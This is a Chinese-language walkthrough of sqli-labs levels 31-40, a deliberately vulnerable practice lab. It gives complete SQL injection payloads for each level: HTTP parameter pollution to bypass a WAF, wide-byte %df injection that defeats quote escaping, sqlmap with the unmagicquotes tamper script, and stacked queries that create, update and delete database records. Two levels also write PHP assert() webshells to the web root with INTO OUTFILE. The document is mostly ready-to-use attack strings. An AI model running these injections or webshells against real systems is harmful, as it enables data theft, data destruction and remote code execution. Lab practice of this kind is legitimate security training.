目錄
Less31
Less32
Less33
Less34
Less35
Less36
Less37
Less38
Less39
Less40
Less31
這關和前兩關也只是閉合不同的差別……思路還是通過HTTP引數污染繞過WAF
爆資料的payload:
#下面兩步找列數
http://192.168.101.16/sqli-labs-master/Less-31/login.php?id=1&id=1") order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-31/login.php?id=1&id=1") order by 4-- s
#確定哪個欄位有回顯
http://192.168.101.16/sqli-labs-master/Less-31/login.php?id=1&id=-1") union select 1,2,3-- s
#爆出所有資料庫名稱
http://192.168.101.16/sqli-labs-master/Less-31/login.php?id=1&id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata-- s
#爆出資料庫pikachu的所有表名稱
http://192.168.101.16/sqli-labs-master/Less-31/login.php?id=1&id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='pikachu'-- s
#爆出資料庫pikachu的表message的所有列名稱
http://192.168.101.16/sqli-labs-master/Less-31/login.php?id=1&id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'-- s
#爆出資料庫pikachu的表message的id列、content列和time列的值
http://192.168.101.16/sqli-labs-master/Less-31/login.php?id=1&id=-1") union select 1,2,group_concat(concat(id,'~',content,'~',time)) from pikachu.message-- s

寫webshell的payload:
http://192.168.101.16/sqli-labs-master/Less-31/login.php?id=1&id=-1") union select 1,2,'<?php assert($_POST[less31]);?>' into outfile 'C:/phpstudy_pro/WWW/less31.php'-- s
服務器上寫入的webshell:

代碼就不分析了,和前兩關除了sql陳述句的閉合符號,其他都一樣
Less32
這關正常id后面加個單引號,從頁面貼心地提示發現,到了服務器之后,單引號前面多了個斜杠,也就是單引號被轉義了,另外頁面還善良地給出了id值的十六進制,這很容易讓人聯想到寬位元組注入,
原理之前在這篇寫過了 pikachu SQL注入 (皮卡丘漏洞平臺通關系列)_箭雨鏡屋-CSDN博客_pikachu sql注入 ,這里不贅述了,主要思想就是如果服務器傳入資料庫的資料是gbk等寬位元組編碼,可以在特殊字符之前增加一個十六進制位元組,和轉義符構成一個漢字字符,從而把轉義符吃掉,

地址欄輸入:http://192.168.101.16/sqli-labs-master/Less-32/?id=1%df'
發現頁面和上圖不同,有sql陳述句報錯資訊,看來這關確實可以用寬位元組注入

爆資料的payload如下:
特別注意,本關payload中只有閉合單引號時用寬位元組注入,其他涉及單引號的部分都要用字符的十六進制編碼,否則會報錯,
#下面兩步找列數
http://192.168.101.16/sqli-labs-master/Less-32/?id=1%df' order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-32/?id=1%df' order by 4-- s
#確定哪個欄位有回顯
http://192.168.101.16/sqli-labs-master/Less-32/?id=-1%df' union select 1,2,3-- s
#爆出所有資料庫名稱
http://192.168.101.16/sqli-labs-master/Less-32/?id=-1%df' union select 1,2,group_concat(schema_name) from information_schema.schemata-- s
#爆出資料庫pikachu的所有表名稱
http://192.168.101.16/sqli-labs-master/Less-32/?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x70696B61636875-- s
#爆出資料庫pikachu的表message的所有列名稱
http://192.168.101.16/sqli-labs-master/Less-32/?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=0x70696B61636875 and table_name=0x6D657373616765-- s
#爆出資料庫pikachu的表message的id列、content列和time列的值
http://192.168.101.16/sqli-labs-master/Less-32/?id=-1%df' union select 1,2,group_concat(concat(id,0x7e,content,0x7e,time)) from pikachu.message-- s
這關試了沒法用into outfile寫webshell,檔案名不能寫成十六進制的形式
本關代碼最最關鍵的就是下圖紅框框起來的部分,如果沒有這行代碼,就不能用寬位元組繞過了,
另外本關用來過濾用戶輸入的函式是check_addslashes()
從下圖可見,該函式通過在反斜杠,單引號,雙引號前面加反斜杠對它們進行轉義

Less33
這關和上一關的解法完全一樣,爆資料的payload如下:
#下面兩步找列數
http://192.168.101.16/sqli-labs-master/Less-33/?id=1%df' order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-33/?id=1%df' order by 4-- s
#確定哪個欄位有回顯
http://192.168.101.16/sqli-labs-master/Less-33/?id=-1%df' union select 1,2,3-- s
#爆出所有資料庫名稱
http://192.168.101.16/sqli-labs-master/Less-33/?id=-1%df' union select 1,2,group_concat(schema_name) from information_schema.schemata-- s
#爆出資料庫pikachu的所有表名稱
http://192.168.101.16/sqli-labs-master/Less-33/?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x70696B61636875-- s
#爆出資料庫pikachu的表message的所有列名稱
http://192.168.101.16/sqli-labs-master/Less-33/?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=0x70696B61636875 and table_name=0x6D657373616765-- s
#爆出資料庫pikachu的表message的id列、content列和time列的值
http://192.168.101.16/sqli-labs-master/Less-33/?id=-1%df' union select 1,2,group_concat(concat(id,0x7e,content,0x7e,time)) from pikachu.message-- s
正好上一關忘記插最后結果圖了,這關來補一張

看一下這關代碼,和上一關唯一的不同是把函式check_addslashes()中那一坨代碼,換成了addslashes()函式,這個函式的作用是通過在預定義字符前加反斜線進行轉義,預定字符包括單引號,雙引號,反斜線和NULL

Less34
這關還是利用寬位元組繞過,只不過引數提交方式從GET變成POST了
特別需要注意的是:
直接在網頁輸入框里面繞過(下面這樣)沒有用

用burpsuite抓包發現df前面的百分號被url編碼了


可以直接在burpsuite中進行寬位元組繞過,或者用firefox的hackbar更直觀

爆資料的payload如下:
#下面兩步找列數
uname=admin%df' order by 2-- s&passwd=1&submit=Submit
uname=admin%df' order by 3-- s&passwd=1&submit=Submit
#確定哪個欄位有回顯
uname=admin%df' union select 1,2-- s&passwd=1&submit=Submit
#爆出所有資料庫名稱
uname=admin%df' union select 1,group_concat(schema_name) from information_schema.schemata-- s&passwd=1&submit=Submit
#爆出資料庫pikachu的所有表名稱
uname=admin%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x70696B61636875-- s &passwd=1&submit=Submit
#爆出資料庫pikachu的表message的所有列名稱
uname=admin%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=0x70696B61636875 and table_name=0x6D657373616765-- s &passwd=1&submit=Submit
#爆出資料庫pikachu的表message的id列和content列的值
uname=admin%df' union select 1,group_concat(concat(id,0x7e,content,0x7e,time)) from pikachu.message-- s&passwd=1&submit=Submit
本關代碼其實沒啥好說的了,和上一關差不多,只不過提交引數的方法變成POST了

Less35
這關雖然單引號也被轉義了,但是由于這關的id在sql陳述句中是數字,不涉及閉合,所以這關比前面幾關更簡單,根本不需要滿足寬位元組注入的條件,只需要payload中字串都寫成十六進制形式就行,
爆資料的payload如下:
#下面兩步找列數
http://192.168.101.16/sqli-labs-master/Less-35/?id=1 order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-35/?id=1 order by 4-- s
#確定哪個欄位有回顯
http://192.168.101.16/sqli-labs-master/Less-35/?id=-1 union select 1,2,3-- s
#爆出所有資料庫名稱
http://192.168.101.16/sqli-labs-master/Less-35/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata-- s
#爆出資料庫pikachu的所有表名稱
http://192.168.101.16/sqli-labs-master/Less-35/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x70696B61636875-- s
#爆出資料庫pikachu的表message的所有列名稱
http://192.168.101.16/sqli-labs-master/Less-35/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=0x70696B61636875 and table_name=0x6D657373616765-- s
#爆出資料庫pikachu的表message的id列和content列的值
http://192.168.101.16/sqli-labs-master/Less-35/?id=-1 union select 1,2,group_concat(concat(id,0x7e,content,0x7e,time)) from pikachu.message-- s
最終結果:

代碼和33關只是sql陳述句有區別,本關沒有閉合符號,其他都一樣,

Less36
醉了,這關和Less33不能說毫無關系,只能說一模一樣……思路仍然是寬位元組注入繞過閉合符的轉義,其他字串寫成十六進制形式

直接上跨庫爆資料的payload吧:
#下面兩步找列數
http://192.168.101.16/sqli-labs-master/Less-36/?id=1%df' order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-36/?id=1%df' order by 4-- s
#確定哪個欄位有回顯
http://192.168.101.16/sqli-labs-master/Less-36/?id=-1%df' union select 1,2,3-- s
#爆出所有資料庫名稱
http://192.168.101.16/sqli-labs-master/Less-36/?id=-1%df' union select 1,2,group_concat(schema_name) from information_schema.schemata-- s
#爆出資料庫pikachu的所有表名稱
http://192.168.101.16/sqli-labs-master/Less-36/?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x70696B61636875-- s
#爆出資料庫pikachu的表message的所有列名稱
http://192.168.101.16/sqli-labs-master/Less-36/?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=0x70696B61636875 and table_name=0x6D657373616765-- s
#爆出資料庫pikachu的表message的id列、content列和time列的值
http://192.168.101.16/sqli-labs-master/Less-36/?id=-1%df' union select 1,2,group_concat(concat(id,0x7e,content,0x7e,time)) from pikachu.message-- s
爆資料結果:

雖然繞過方式都是寬位元組注入+字串的十六進制形式,但代碼和Less33有點區別,
這關用mysql_real_escape_string() 函式處理用戶輸入,這個函式也是用來轉義 SQL 陳述句中使用的字串中的特殊字符的,特殊字符包括\x00,\n,\r,\,',"以及\x1a

Less37
看標題我就覺得這關和Less34應該是一個套路,果然……
這關如果手工注入,直接用Less34的payload就可以,為了避免無聊的重復,這關我決定用一下sqlmap,
寬位元組繞過用sqlmap來注入,需要用到名為unmagicquotes.py的tamper腳本(--tamper unmagicquotes.py),跨庫爆資料的具體payload如下:
python sqlmap.py -r "E:\滲透測驗學習資料\sqlilab\LESS37.txt" --tamper unmagicquotes.py -dbs
python sqlmap.py -r "E:\滲透測驗學習資料\sqlilab\LESS37.txt" --tamper unmagicquotes.py --tables -D pikachu
python sqlmap.py -r "E:\滲透測驗學習資料\sqlilab\LESS37.txt" --tamper unmagicquotes.py --columns -D pikachu -T message
python sqlmap.py -r "E:\滲透測驗學習資料\sqlilab\LESS37.txt" --tamper unmagicquotes.py --dump -D pikachu -T message -C id,time,content
結果:

本關代碼也沒啥可說的,和上一關一樣,都是用mysql_real_escape_string() 函式處理用戶輸入,
Less38
本關雖然也能用union注入,不過union注入能辦成的事兒還是有局限,既然本關標題是堆疊注入,那就試試堆疊注入吧~
堆疊注入可以隨便玩了,只要是sql陳述句能做到的,想干嘛都行(記得還是要通過報錯找閉合的),
比如創建資料庫:
http://192.168.101.16/sqli-labs-master/Less-38/?id=-1';create database xiannv-- s
創建表:
http://192.168.101.16/sqli-labs-master/Less-38/?id=-1';use xiannv;create table xiang(id int,user varchar(10))-- s
創建資料:
http://192.168.101.16/sqli-labs-master/Less-38/?id=-1';insert into xiannv.xiang values(1,'test1')-- s
上面三步的結果:
從服務器上的navicat可以看到,產生了一個新資料庫xiannv,該資料庫中有一個表xiang,該表有兩列id和user,有一條記錄,id值為1,user值為test1

執行洗掉操作也可以,這里不多說了,和直接連接資料庫用的是同樣的陳述句,
本關寫webshell可以用union注入,也可以用堆疊注入,如果用堆疊注入的話,payload如下:
http://192.168.101.16/sqli-labs-master/Less-38/?id=-1';select '<?php assert($_POST[less38]);?>' into outfile 'C:/phpstudy_pro/WWW/less38.php'-- s
服務器上被寫入的webshell:

本關select相關的操作還是需要用union注入,因為本關只顯示第一條sql陳述句的查詢結果,不顯示后面的,
本關之所以能使用堆疊注入,是因為代碼中使用了mysqli_multi_query()函式,該函式可以執行多個針對資料庫的查詢,
本關所有堆疊注入的結果是無法顯示在頁面上的,如果想從頁面看出來是否堆疊成功,可以把69行的注釋去掉,這樣,執行超過一條sql陳述句時(無論分號之后的陳述句執行成功還是失敗),頁面會回顯---------------------,不過通過這個并不能看出來堆疊的陳述句是否執行成功,

Less39
這關又是堆疊注入,那就干點新事兒吧……
這關沒有閉合,想把上一關xiannv資料庫xiang表的那條記錄的user改成xiaokui的話,瀏覽器地址欄這么寫:
http://192.168.101.16/sqli-labs-master/Less-39/?id=1;update xiannv.xiang set user='xiaokui' where id=1-- s

服務器上查看結果:

這關代碼不說了,和上一關差不多,只是上一關單引號閉合變數,這關無閉合,
Less40
先用布爾盲注的方式找到本關的閉合,然后就可以直接堆疊注入啦
找閉合:
http://192.168.101.16/sqli-labs-master/Less-40/?id=1 有查詢結果
http://192.168.101.16/sqli-labs-master/Less-40/?id=1" 有查詢結果
http://192.168.101.16/sqli-labs-master/Less-40/?id=1' 無查詢結果
http://192.168.101.16/sqli-labs-master/Less-40/?id=1'-- s 無查詢結果
http://192.168.101.16/sqli-labs-master/Less-40/?id=1')-- s 有查詢結果
找到閉合為')
這關用堆疊注入把之前創建的xiannv資料庫xiang表中的唯一一條記錄刪掉:
http://192.168.101.16/sqli-labs-master/Less-40/?id=1');delete from xiannv.xiang where user='xiaokui'-- s
在服務器上可以看到該記錄已經被洗掉:

本關代碼好像也沒啥好說的,不說了……
做完堆疊的三關,稍微有點感悟:堆疊注入可能不一定能一下子看出來(比如不顯示第一條之后的陳述句的查詢結果),如果不是明確知道能堆疊注入,或許可以嘗試寫入一些東西,再通過一些方法(比如select能不能讀到寫入的東西)來判斷,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/298599.html
標籤:其他
上一篇:結合AI和安全做個產品
